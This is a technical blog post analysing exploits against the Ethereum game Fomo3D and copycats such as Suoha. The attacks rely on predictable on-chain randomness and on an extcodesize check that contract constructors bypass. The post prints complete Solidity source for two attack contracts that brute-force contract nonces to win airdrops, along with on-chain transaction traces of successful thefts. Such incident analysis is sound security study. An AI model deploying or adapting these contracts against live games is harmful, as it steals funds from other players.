Randomness in smart contracts is predictable and vulnerable: Fomo3D — Part 2

Zhongqiang Chen
15 min readSep 6, 2019

--

Vulnerabilities in Fomo3D

As we pointed out in part 1 of the article, Fomo3D is a Dapp (decentralized application) deployed on Ethereum. The game runs in rounds and at each round, players invest Ethers in the game hoping for high returns — the last investor in each round gets the jackpot. In order to become an investor, players need to purchase so-called “keys’’ that signify their participation in the game. Every purchase of a key prolongs the duration of the round.

In order to encourage participants to purchase keys, the smart contract would transfer 1% of every key purchase into a pool dedicated to airdrops. With every purchase over 0.1 ETH, it would “randomly” determine whether the purchaser is eligible for an airdrop from this pool. As there is no true randomness on blockchain, Fomo3D resorts to a deterministic computation based on seeds derived from the current state of the blockchain. More specifically, the random number is computed based on block timestamp, block difficulty, the coin base of the current block, gas limit of the current block, the block number and the sender of the transaction.

In a sense, some of these sources are difficult to predict when a user submits a transaction to the network simply because the user can not know in which block the transaction will be mined). However, these sources are all become known to the user at the moment when the transaction computations are being carried out.

In addition, to prevent possible abuses, Fomo3D decided to only allow purchases directly from an externally owned account (EOA), i.e., not a smart contract), not from any smart contract. To achieve this, Fomo3D used the EVM assembly instruction “extcodesize” to check the size of code associated with an Ethereum address. However, the assumption that code size of a smart contract is never 0 is invalid when the instruction is invoked from the constructor of a contract as the contract is still being constructed and does not exist on the blockchain yet.

These vulnerabilities provide attackers venues to launch attacks.

Attack tool, version 1

As we described in part 1, one of the hackers, named 0x20c9, developed an attack contract to exploit vulnerabilities in Fomo3D.

For convenience, the source code of the attack contract, contract_e7ce, is repeated here.

pragma solidity ^0.5.1;contract contract_e7ce {
using SafeMath for *;
// slot 0x00
address payable owner;
// slot 0x01
// getter selector: 0xaffed0e0
uint256 public nonce = 0x01;
// slot 0x02
// FoMo3Dlong contract address
address fomo3d = 0xA62142888ABa8370742bE823c1782D17A0389Da1;

constructor () public {
owner = msg.sender;
}

// function selector: 0x6d4ce63c
// code entrance: 0x0042
function get() public {
bool success = owner.send(address(this).balance);
if(!success) {
revert();
}
}

// function selector: 0x87f7d378
// code entrance: 0x0059
function exploit(uint8 count) public payable {
require(msg.sender == owner);
// 1e+17
require(msg.value == 0.1 ether);
uint256 old_balance = owner.balance;
// function airDropPot_ selector: 0xd87574e0
(bool success, bytes memory data) = fomo3d.call(
abi.encodeWithSelector(0xd87574e0));
if(!success) {
revert();
}
require(data.length >= 0x20); // 5e+17
uint256 pot = abi.decode(data, (uint256));
require(pot >= 0.5 ether);
// function airDropTracker_ selector: 0x11a09ae7
(success, data) = fomo3d.call(
abi.encodeWithSelector(0x11a09ae7));
if(!success) {
revert();
}
require(data.length >= 0x20); uint256 tracker = abi.decode(data, (uint256)); uint256 try_nonce = nonce;
for (uint8 idx = 0; idx < count; idx++) {
address addr = address(uint160(bytes20(
keccak256(abi.encodePacked(
bytes1(0xd6), bytes1(0x94), address(this),
try_nonce)))));
if (airdrop(addr, tracker)) {
for (uint8 idx2 = 0; idx2 < idx; idx2++) {
new child1();
}
(new child2).value(msg.value)();
nonce = try_nonce;
break;
}
try_nonce++;
}
require(old_balance < owner.balance);
}

// internal functions

// code entrance: 0x0391
function airdrop(address addr, uint256 tracker)
private view returns (bool) {
assert(block.timestamp != 0);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) /
block.timestamp).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(addr)))) /
block.timestamp).add
(block.number)
)));
// 0x03e8 = 1000
if ((seed - ((seed / 1000) * 1000)) < tracker) {
return true;
}
else {
return false;
}
}
}

library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}

contract child1 {
constructor () public {
}
}

contract child2 {
// slot 0x00
// FoMo3Dlong contract address
address fomo3d;

constructor () public payable {
fomo3d = 0xA62142888ABa8370742bE823c1782D17A0389Da1;
(bool success,) = fomo3d.call.value(msg.value)("");
// function withdraw selector: 0x3ccfd60b
(success,) = fomo3d.call(
abi.encodeWithSelector(0x3ccfd60b));
if(!success) {
revert();
}
selfdestruct(tx.origin);
}
}

The main entrance of the attack contract is the function exploit(), which tries every possible nonce within the given range to first compute the address of the smart contract associated with that nonce, and then determine whether such an address can win the airdrop using exactly the same formula used by Fomo3D. If the address associated with a nonce can win the airdrop, the contract will launch the attack, otherwise, the contract simply reverted.

Although the attack tool did obtain some airdrops for its creator, its drawbacks are obvious: the probability of hitting a nonce that can lead to airdrop winning is quite low. The reason is that the attack tool only uses a single contract and its nonces to launch the attack.

The solution is also obvious: instead of using a single contract, the attack tool can create many contracts and each contract has its own address and nonce space, thus, any contract can launch the attack as long as its address and nonce can win the airdrop.

This is exactly what the author of the attack tool did in the upgraded version of the attack tool.

Attack tool, version 2

The information about the deployment of version 2 of the attack contract is as follows.

attack contract address:
0x39ac9900e003B2a4B179d7C5902B818ae06A70A8
attack contract creator:
0x20C945800de43394F70D789874a4daC9cFA57451
transactions on the attack contract can be found at:
https://etherscan.io/address/0x39ac9900e003b2a4b179d7c5902b818ae06a70a8

As only binary code of the attack contract is available to the public, we employed reverse engineering techniques to restore most of the information about the attack contract. The source code of the attack contract, version 2, obtained via reverse engineering, is given below.

pragma solidity ^0.5.1;contract contract_39ac {
// slot 0x00
address payable owner = 0x20C945800de43394F70D789874a4daC9cFA57451;
// slot 0x01
address [10] proxies;

constructor () public {
}

// function selector: 0x4313b9e5
// code entrance: 0x003f
function setup(uint256 _num) public {
for (uint8 idx = 0; idx < _num; idx++) {
if (proxies[idx] == address(0)) {
child1 ch1 = new child1();
address addr = address(ch1);
// require(addr != address(0)); proxies[idx] = addr;
}
}
}

// function selector: 0x66607621
// code entrance: 0x0057
function exploit2(address _addr) public payable {
// 0x016345785d8a0000 = 1e+17
require(msg.value == 0.1 ether);
uint256 oldBalance = owner.balance + msg.value; // function airDropPot_ selector: 0xd87574e0
(bool success, bytes memory data) = _addr.call(
abi.encodeWithSelector(0xd87574e0));
if(!success) {
revert();
}
// require(data.length >= 0x20); // 0x06f05b59d3b20000 = 5e+17
uint256 pot = abi.decode(data, (uint256));
require(pot >= 0.5 ether);
for (uint8 idx = 0; idx < 10; idx++) {
if (proxies[idx] == address(0)) {
child1 ch1 = new child1();
address proxy = address(ch1);
// require(proxy != address(0)); proxies[idx] = proxy;
}
}
for (uint8 idx = 0; idx < 10; idx++) {
// 0x377f84ab
(bool success, bytes memory data) = proxies[idx].call(
abi.encodeWithSelector(0x377f84ab, 0x19, _addr));
if(!success) {
revert();
}
// require(data.length >= 20); bool rtn = abi.decode(data, (bool));
if (rtn) {
// 0x384002a2
(bool success,) = proxies[idx].call(
abi.encodeWithSelector(0x384002a2));
if(!success) {
revert();
}
proxies[idx] = address(0);
break;
}
}
if (address(this).balance > 0) {
success = owner.send(address(this).balance);
if(!success) {
revert();
}
}
require(oldBalance <= owner.balance);
}

// function selector: 0x6d4ce63c
// code entrance: 0x006b
function get() public {
bool success = owner.send(address(this).balance);
if(!success) {
revert();
}
}
}

library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}

contract child1 {
using SafeMath for *;

// slot 0x00
address payable owner = 0x20C945800de43394F70D789874a4daC9cFA57451;
// slot 0x01
// getter function selector: 0xaffed0e0
uint8 public nonce = 0x01;
// slot 0x02
bool hit = false;

constructor () public {
}

// function selector: 0x377f84ab
// code entrance: 0x0066
function exploit(uint8 _num, address _addr)
public payable
returns (bool) {
require(hit == false);
uint256 oldBalance = msg.value + owner.balance; // 0x016345785d8a0000 = 1e+17
require(msg.value == 0.1 ether);
// function airDropTracker_ selector: 0x11a09ae7
(bool success, bytes memory data) = _addr.call(
abi.encodeWithSelector(0x11a09ae7));
if(!success) {
revert();
}
// require(data.length >= 0x20); uint256 tracker = abi.decode(data, (uint256)); uint8 try_nonce = nonce;
for (uint8 idx = 0; idx < _num; idx++) {
uint256 hash = computeHash(try_nonce);
if(airdrop(hash, tracker)) {
for (uint8 idx2 = 0; idx2 < idx; idx2++) {
new child2();
}
(new child3).value(msg.value)(_addr);
nonce = try_nonce;
break;
}
try_nonce++;
}
hit = (oldBalance < owner.balance);
if (!hit) {
success = msg.sender.send(msg.value);
if(!success) {
revert();
}
}
return hit;
}

// function selector: 0x384002a2
// code entrance: 0x0094
function kill() public {
require(hit == true);
selfdestruct(owner);
}

// function selector: 0x6d4ce63c
// code entrance: 0x00ab
function get() public {
bool success = owner.send(address(this).balance);
if(!success) {
revert();
}
}

// internal functions

// code entrance: 034f
function computeHash(uint8 _nonce) private
returns (uint256) {
return uint256(keccak256(abi.encodePacked(
bytes1(0xd6), bytes1(0x94), address(this),
_nonce)));
}

// code entrance: 03ec
function airdrop(uint256 _hash, uint256 _tracker)
private view returns (bool) {
// assert(block.timestamp != 0);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / block.timestamp).add
(block.gaslimit).add
(uint256(keccak256(abi.encodePacked(uint160(_hash)))) / block.timestamp).add
(block.number)
)));
// 0x03e8 = 1000
if ((seed - ((seed / 1000) * 1000)) < _tracker) {
return true;
}
else {
return false;
}
}
}

contract child2 {
constructor () public {
selfdestruct(0x20C945800de43394F70D789874a4daC9cFA57451);
}
}

contract child3 {
constructor (address _addr) public payable {
// 0x98a0871d: buyXaddr
(bool success,) = _addr.call.value(msg.value)(
abi.encodeWithSelector(0x98a0871d,
0x20C945800de43394F70D789874a4daC9cFA57451,
2));
if(!success) {
revert();
}
// function withdraw selector: 0x3ccfd60b
(success,) = _addr.call(
abi.encodeWithSelector(0x3ccfd60b));
if(!success) {
revert();
}
selfdestruct(0x20C945800de43394F70D789874a4daC9cFA57451);
}
}

The biggest difference between version 1 and version 2 is that in version 2, a new function called setup() is provided to create a given number of proxy contracts, which will be used to launch the attacks and each of which is equivalent to a copy of the attack contract, version 1. To this end, the task performed by function exploit() in attack contract version 1 is now moved to contract child1 (i.e., proxy), while contracts child1 and child2 of version 1 become child2 and child3 in version 2.

Another change in version 2 is: contract child2, which was equivalent to child1 of version 1, is now no longer empty but invokes instruction “selfdestruct” to destroy itself. Although this change is minor, but it makes the instantiation of contract child2 looks normal now rather than failed contract in version 1.

Another change is in contract child3: in its constructor, the function buyXaddr() of contract Fomo3D is invoked instead of using the fallback function of the latter. In functionality, they are essentially the same as both the fallback function and buyXaddr() of contract Fomo3D eventually call the same function: buyCore().

It is interesting that, after a proxy contract successfully launched an attack, this proxy contract will be killed (i.e., self-destructed). A reasonable guess is that: the author of the attack tool thought that after finding a nonce leading to win airdrop, it is unlikely for the same contract address to win another airdrop because the nonce space of a contract to be searched is restricted to the range [0, 256], which is extremely small compared the possible nonce space.

The reason to limit nonce space with [0, 256] is unknown. One possibility is that the creator of the attack contract does not want to implement the somewhat complex mechanism of RLP encoding scheme, which is used to compute the addresses of newly created smart contracts.

Attacks on Fomo3D

First, the attack contract version 2, name contract_39ac, is deployed.

Transaction Hash: 0x2897e833a1aeb5a923effadf480ddba856048db93b563b23ffdb15bfbfb77c8f
Status: Success
Block: 6017819 2457673 Block Confirmations
Timestamp: 406 days 9 hrs ago (Jul-23-2018 08:40:08 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: [Contract 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.006191934 Ether ($1.11)
Gas Limit: 1,031,989
Gas Used by Transaction: 1,031,989 (100%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 977 42
Input Data: (omitted)

It can be seen that the creator of the attack contract is 0x20c9, the same author of the version 1 of the attack contract, contract_e7ce. Also, version 1 of the attack contract was deployed on Jul-08–2018, while version 2 was deployed on Jul-23–2018, meaning that the author upgraded his tool within two weeks. The address of version 2 of the attack contract starts with 0x39ac, this is the reason we name it contract_39ac.

After the deployment, the attack launch pad is set up by calling function setup() of the attack contract.

Transaction Hash: 0x2f2db229ae125f6e81d3a0c2864a3e9e74a56e70871522020567b5bd264d4015
Status: Success
Block: 6017825 2457672 Block Confirmations
Timestamp: 406 days 9 hrs ago (Jul-23-2018 08:41:31 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8
Value: 0 Ether ($0.00)
Transaction Fee: 0.01566537 Ether ($2.79)
Gas Limit: 3,196,020
Gas Used by Transaction: 2,610,895 (81.69%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 979 42
Input Data:
Function: setup(uint256 _openDate) ***
MethodID: 0x4313b9e5
[0]: 000000000000000000000000000000000000000000000000000000000000000a

After this transaction, 10 proxy contracts were created, which is also the maximum number of proxies hard coded in the code. With 10 proxy contracts at hand, it is expected that the probability of winning an airdrop could be 10 times larger than that offered by attack contract version 1.

Now, everything is ready for the attacks. Here is just one of many attacks launched by the attacker.

Transaction Hash: 0x350e1e4431b49c1dfdb51743a31308966ed361dff497f10594c62d5ba8d12ffa
Status: Success
Block: 6391810 2090439 Block Confirmations
Timestamp: 344 days 14 hrs ago (Sep-24-2018 04:37:56 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x732cee3d938d4916a0d09237033be5950e1f0135
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x6d7c95e3e69d19197390651b6f29f71bca9c835c
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x2578de0ba8c87263a75d3073872a967702208eed
SELF DESTRUCT Contract 0x5098bdffcffd75666292688894a4c9fd00fc4de1
SELF DESTRUCT Contract 0x8345fa036066d0393bd04f2999c30ded93b833d8
SELF DESTRUCT Contract 0xb3b748979977596dc52e8369300d8f9d6d14f8cc
SELF DESTRUCT Contract 0x850eaa99c62e4ecd432702cdd296d3599ee5dc90
SELF DESTRUCT Contract 0x58a2f52908448b239049c33306dfe9cf6b9abb54
SELF DESTRUCT Contract 0x394948633d27c251e924b8e556c17ef75af00b27
SELF DESTRUCT Contract 0x4023dcafbd560fc6d891aa468e9a89a76a363c84
SELF DESTRUCT Contract 0x6962ac3d030047525d8b5f3f4b19551758560f73
SELF DESTRUCT Contract 0xccc84d0fcc91f7a5bc6aa53183f159ec65baf803
SELF DESTRUCT Contract 0x39fcef8a40f6e8c102546212ca2766578936f8ba
SELF DESTRUCT Contract 0x213992689d2a3178703e81ebfb12ef2f3b418428
SELF DESTRUCT Contract 0xf1ab2037bd30ae31113464c9005744d12797b81f
SELF DESTRUCT Contract 0x8374829fed4c3922c1fe450646539f73dfa4d09a
SELF DESTRUCT Contract 0x5d07d0e3bc390e216b3dcdb67fa8815198d8bc85
SELF DESTRUCT Contract 0xdfd1c54eecd7b9dcbd02110c89ea1bf99f2017c6
SELF DESTRUCT Contract 0xf08476fd7fb7c931da7bfefb2d1454d5a997e17a
TRANSFER 0.1 Ether From 0x2578de0ba8c87263a75d3073872a967702208eed To 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d
TRANSFER 0.1 Ether From 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d To 0xa62142888aba8370742be823c1782d17a0389da1
TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee
TRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5
TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d
TRANSFER 0.01 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48
TRANSFER 0.173735305221488412 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d
TRANSFER 0.173735305221488412 Ether From 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d To 0x20c945800de43394f70d789874a4dac9cfa57451
SELF DESTRUCT Contract 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d
SELF DESTRUCT Contract 0x2578de0ba8c87263a75d3073872a967702208eed
Value: 0.1 Ether ($17.89)
Transaction Fee: 0.01812236 Ether ($3.24)
Gas Limit: 3,000,000
Gas Used by Transaction: 906,118 (30.2%)
Gas Price: 0.00000002 Ether (20 Gwei)
Nonce Position 1253 21
Input Data:
66607621
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1

The attack can be launched by simply calling the function with selector 0x66607621 of the attack contract. The parameter to the function is the address of the target, in this case, it is the address of the Fomo3D smart contract.

From the information on the transaction shown above, it can be derived that the third proxy (starting with 0x2578) can lead to win an airdrop. The nonce of the proxy contract that leads to the win should be increased by 16.

Then a new contract was created with template child3, and its address begins with 0xb861. The proxy 0x2578 transferred 0.1 Ethers to this newly created contract 0xb861, which further sent the Ethers to Fomo3D contract. After some internal transactions among Fomo3D game, Fomo3D contract sent 0.1737 Ethers back to contract 0xb861, which relayed the money to the attacker before self destructed.

Thus, after this attack, the profit is 0.1737 Ethers.

This transaction triggers a lot of internal transactions.

The Contract Call From 0x20c945800de43394f70d789874a4dac9cfa57451 To 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 Produced 46 Contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_1  0x39ac9900e003b2a4b179d7c5902b818ae06a70a8               0x732cee3d938d4916a0d09237033be5950e1f0135     0.1 Ether       2,914,464call_1_1       0x732cee3d938d4916a0d09237033be5950e1f0135              0x39ac9900e003b2a4b179d7c5902b818ae06a70a8      0.1 Ether       2,300call_2  0x39ac9900e003b2a4b179d7c5902b818ae06a70a8               0x6d7c95e3e69d19197390651b6f29f71bca9c835c     0.1 Ether       2,832,225call_2_1       0x6d7c95e3e69d19197390651b6f29f71bca9c835c              0x39ac9900e003b2a4b179d7c5902b818ae06a70a8      0.1 Ether       2,300call_3  0x39ac9900e003b2a4b179d7c5902b818ae06a70a8               0x2578de0ba8c87263a75d3073872a967702208eed     0.1 Ether       2,749,986create_3_1     0x2578de0ba8c87263a75d3073872a967702208eed                0x5098bdffcffd75666292688894a4c9fd00fc4de1    0 Ether 2,633,469suicide_3_1_0        0x5098bdffcffd75666292688894a4c9fd00fc4de1              0x20c945800de43394f70d789874a4dac9cfa57451      0 Ether 0create_3_2     0x2578de0ba8c87263a75d3073872a967702208eed                0x8345fa036066d0393bd04f2999c30ded93b833d8    0 Ether 2,596,843suicide_3_2_0        0x8345fa036066d0393bd04f2999c30ded93b833d8              0x20c945800de43394f70d789874a4dac9cfa57451      0 Ether 0
create_3_3 0x2578de0ba8c87263a75d3073872a967702208eed 0xb3b748979977596dc52e8369300d8f9d6d14f8cc 0 Ether 2,560,216
suicide_3_3_0 0xb3b748979977596dc52e8369300d8f9d6d14f8cc 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_4 0x2578de0ba8c87263a75d3073872a967702208eed 0x850eaa99c62e4ecd432702cdd296d3599ee5dc90 0 Ether 2,523,590suicide_3_4_0 0x850eaa99c62e4ecd432702cdd296d3599ee5dc90 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_5 0x2578de0ba8c87263a75d3073872a967702208eed 0x58a2f52908448b239049c33306dfe9cf6b9abb54 0 Ether 2,486,963suicide_3_5_0 0x58a2f52908448b239049c33306dfe9cf6b9abb54 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_6 0x2578de0ba8c87263a75d3073872a967702208eed 0x394948633d27c251e924b8e556c17ef75af00b27 0 Ether 2,450,336suicide_3_6_0 0x394948633d27c251e924b8e556c17ef75af00b27 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_7 0x2578de0ba8c87263a75d3073872a967702208eed 0x4023dcafbd560fc6d891aa468e9a89a76a363c84 0 Ether 2,413,710
suicide_3_7_0 0x4023dcafbd560fc6d891aa468e9a89a76a363c84 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0
create_3_8 0x2578de0ba8c87263a75d3073872a967702208eed 0x6962ac3d030047525d8b5f3f4b19551758560f73 0 Ether 2,377,083suicide_3_8_0 0x6962ac3d030047525d8b5f3f4b19551758560f73 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_9 0x2578de0ba8c87263a75d3073872a967702208eed 0xccc84d0fcc91f7a5bc6aa53183f159ec65baf803 0 Ether 2,340,456suicide_3_9_0 0xccc84d0fcc91f7a5bc6aa53183f159ec65baf803 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_10 0x2578de0ba8c87263a75d3073872a967702208eed 0x39fcef8a40f6e8c102546212ca2766578936f8ba 0 Ether 2,303,830suicide_3_10_0 0x39fcef8a40f6e8c102546212ca2766578936f8ba 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_11 0x2578de0ba8c87263a75d3073872a967702208eed 0x213992689d2a3178703e81ebfb12ef2f3b418428 0 Ether 2,267,203suicide_3_11_0 0x213992689d2a3178703e81ebfb12ef2f3b418428 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_12 0x2578de0ba8c87263a75d3073872a967702208eed 0xf1ab2037bd30ae31113464c9005744d12797b81f 0 Ether 2,230,577
suicide_3_12_0 0xf1ab2037bd30ae31113464c9005744d12797b81f 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0
create_3_13 0x2578de0ba8c87263a75d3073872a967702208eed 0x8374829fed4c3922c1fe450646539f73dfa4d09a 0 Ether 2,193,950suicide_3_13_0 0x8374829fed4c3922c1fe450646539f73dfa4d09a 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_14 0x2578de0ba8c87263a75d3073872a967702208eed 0x5d07d0e3bc390e216b3dcdb67fa8815198d8bc85 0 Ether 2,157,323suicide_3_14_0 0x5d07d0e3bc390e216b3dcdb67fa8815198d8bc85 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_15 0x2578de0ba8c87263a75d3073872a967702208eed 0xdfd1c54eecd7b9dcbd02110c89ea1bf99f2017c6 0 Ether 2,120,697suicide_3_15_0 0xdfd1c54eecd7b9dcbd02110c89ea1bf99f2017c6 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0create_3_16 0x2578de0ba8c87263a75d3073872a967702208eed 0xf08476fd7fb7c931da7bfefb2d1454d5a997e17a 0 Ether 2,084,070suicide_3_16_0 0xf08476fd7fb7c931da7bfefb2d1454d5a997e17a 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0
create_3_17 0x2578de0ba8c87263a75d3073872a967702208eed 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d 0.1 Ether 2,047,293
call_3_17_0 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d 0xa62142888aba8370742be823c1782d17a0389da1 0.1 Ether 2,007,073call_3_17_0_3 0xa62142888aba8370742be823c1782d17a0389da1 0xdd4950f977ee28d2c132f1353d1595035db444ee 0.002 Ether 1,677,222call_3_17_0_3_0 0xdd4950f977ee28d2c132f1353d1595035db444ee 0x4c7b8591c50f4ad308d07d6294f2945e074420f5 0.002 Ether 1,641,985call_3_17_0_4 0xa62142888aba8370742be823c1782d17a0389da1 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d 0.001 Ether 1,644,263call_3_17_0_5 0xa62142888aba8370742be823c1782d17a0389da1 0xc7029ed9eba97a096e72607f4340c34049c7af48 0.01 Ether 1,618,398call_3_17_1_0 0xa62142888aba8370742be823c1782d17a0389da1 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d 0.173735305221488412 Ether 2,300suicide_3_17_2 0xb86177b7b6caa8b959dcd3fe761ac21959c1e11d 0x20c945800de43394f70d789874a4dac9cfa57451 0.173735305221488412 Ether 0suicide_4_0 0x2578de0ba8c87263a75d3073872a967702208eed 0x20c945800de43394f70d789874a4dac9cfa57451 0 Ether 0

In these internal transactions, call_1 and call_1_1 occurred between attack contract and first proxy contract, while call_2 and call_2_1 were between attack contract and second proxy contract. Both proxies can not find a nonce that could win the airdrop.

In contrast, the third proxy found a nonce that could win the airdrop. Thus, this proxy created a certain number of contracts using child2 as template to bump its nonce to the one that led to win the airdrop (that is, create_3_1 to create_3_16 and suicide_3_1 to suicide_3_16).

In internal transaction create_3_17, a new contract was created by using child3 as the template, and this new contract is the one that launched the real attack. After the attack, the contract killed itself by calling instruction “selfdestruct” as shown in internal transaction suicide_3_17_2.

Finally, the proxy contract itself was also destroyed in internal transaction suicide_4_0.

Attacks on other Fomo3D-like games

There are many Fomo3D-like games in blockchains. Most of them are copycats of Fomo3D and only make some minor changes. Therefore, all these Fomo3D-like games are vulnerable to the random number attacks. As a result, the attack tools developed by attackers, which are designed for Fomo3D, are also effective to these copycats such as Suoha and LastWinner.

In fact, the creator of the attack contracts already took other copycats into consideration when designing the tool as the address of the target to be attacked can be specified as a parameter to the main entrance in the attack contract.

In this way, the same attack contract can be used to launch attacks against Fomo3D as well as any other games that share the same vulnerabilities with Fomo3D.

Here is an example that attacked Suoha game using the same attack contract.

Transaction Hash: 0x90521abdf99a23a33011eb86158e9e7d35559cddc1e0ebfc1b7e9b7414122cb8
Status: Success
Block: 6019986 2455513 Block Confirmations
Timestamp: 406 days 24 mins ago (Jul-24-2018 05:42:44 AM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8
To 0x346ab858b71f97735d82115297b2c6af47f72b5d
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x6d7c95e3e69d19197390651b6f29f71bca9c835c
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0xeb1c7d54be7efd8c4a73874b989ceb85b5a226f5
SELF DESTRUCT Contract 0xe2152e21ed234e1d067e035e474d1b8f8a48cfdc
SELF DESTRUCT Contract 0x42515241540db799ca49827f9d311d153da8698a
SELF DESTRUCT Contract 0x11dddcafcf4d9bd1a6bd62d706b4f8bc7899dd76
SELF DESTRUCT Contract 0x24c85ec20277c75cd21ef1ccd134912ea439a581
SELF DESTRUCT Contract 0x5ef540c4900362f01c9eb22083f4c1af0f12c9d5
SELF DESTRUCT Contract 0x2c46aa8eb763d79ccd3a031c936593c6b2600975
SELF DESTRUCT Contract 0x2f647a98aff3c935df75d1c60f63fd5ade90b044
SELF DESTRUCT Contract 0x3d48a0fdcd7e855321fdf3f6668edc02d040eac3
SELF DESTRUCT Contract 0xf9b40483a787c0261de2803526717092b99e55ce
SELF DESTRUCT Contract 0x2e0f9f7739bdb23c7d43842bb7068fe117223986
SELF DESTRUCT Contract 0x40129797bedc6c077631782af8646aa71649a9c6
SELF DESTRUCT Contract 0x4c4deffcdd57f52f28d531847f1ba0a77c3ad9a2
SELF DESTRUCT Contract 0x4e12ed028df700a6f1d74ba19701b678c548e58b
SELF DESTRUCT Contract 0xf4a2d5454220e75903bc62ee15aa11f290e8b888
SELF DESTRUCT Contract 0x5492b50587326d9fd01f8ff4f485111a4d1b4767
SELF DESTRUCT Contract 0x10fc82bd129c554db17b4eeb33e314b6cf7dfebd
SELF DESTRUCT Contract 0x38701155d663266cd2284487a429e705803eb172
SELF DESTRUCT Contract 0x1074810cb559f210f2bca274b42bc3543f092da6
SELF DESTRUCT Contract 0xa8a00a20de4256b676acbd9e1f7ea2267689f392
SELF DESTRUCT Contract 0x06c22781b2a2af24cd937f1dbdabca2c56174a5d
SELF DESTRUCT Contract 0x3e46f55a0c4a5c0c58dc4f26f96a6cdf6847a006
SELF DESTRUCT Contract 0x4902746b60a02555db0e9d189f3241356c799cf3
SELF DESTRUCT Contract 0xc0199247fceee453dce24061aaeed09d936c5612
TRANSFER 0.1 Ether From 0xeb1c7d54be7efd8c4a73874b989ceb85b5a226f5 To 0x67871539737d9f3c02f52df30ee5af10f3ae8356
TRANSFER 0.1 Ether From 0x67871539737d9f3c02f52df30ee5af10f3ae8356 To 0x460a5098248f4aa1a46eec6aac78b7819ea01c42
TRANSFER 0.022 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0x5707d1322237300fc0a0be9b3159b0ba41eefeef
TRANSFER 0.268800503589055946 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0x67871539737d9f3c02f52df30ee5af10f3ae8356
TRANSFER 0.268800503589055946 Ether From 0x67871539737d9f3c02f52df30ee5af10f3ae8356 To 0x20c945800de43394f70d789874a4dac9cfa57451
SELF DESTRUCT Contract 0x67871539737d9f3c02f52df30ee5af10f3ae8356
SELF DESTRUCT Contract 0xeb1c7d54be7efd8c4a73874b989ceb85b5a226f5
Value: 0.1 Ether ($17.83)
Transaction Fee: 0.005711922 Ether ($1.02)
Gas Limit: 3,333,033
Gas Used by Transaction: 951,987 (28.56%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 990 63
Input Data:
66607621
000000000000000000000000460a5098248f4aa1a46eec6aac78b7819ea01c42

The address of the attack target given in the parameters to the function with selector 0x66607621 is that of the Suoha game. After this attack, the attacker gains 0.2688 Ethers.

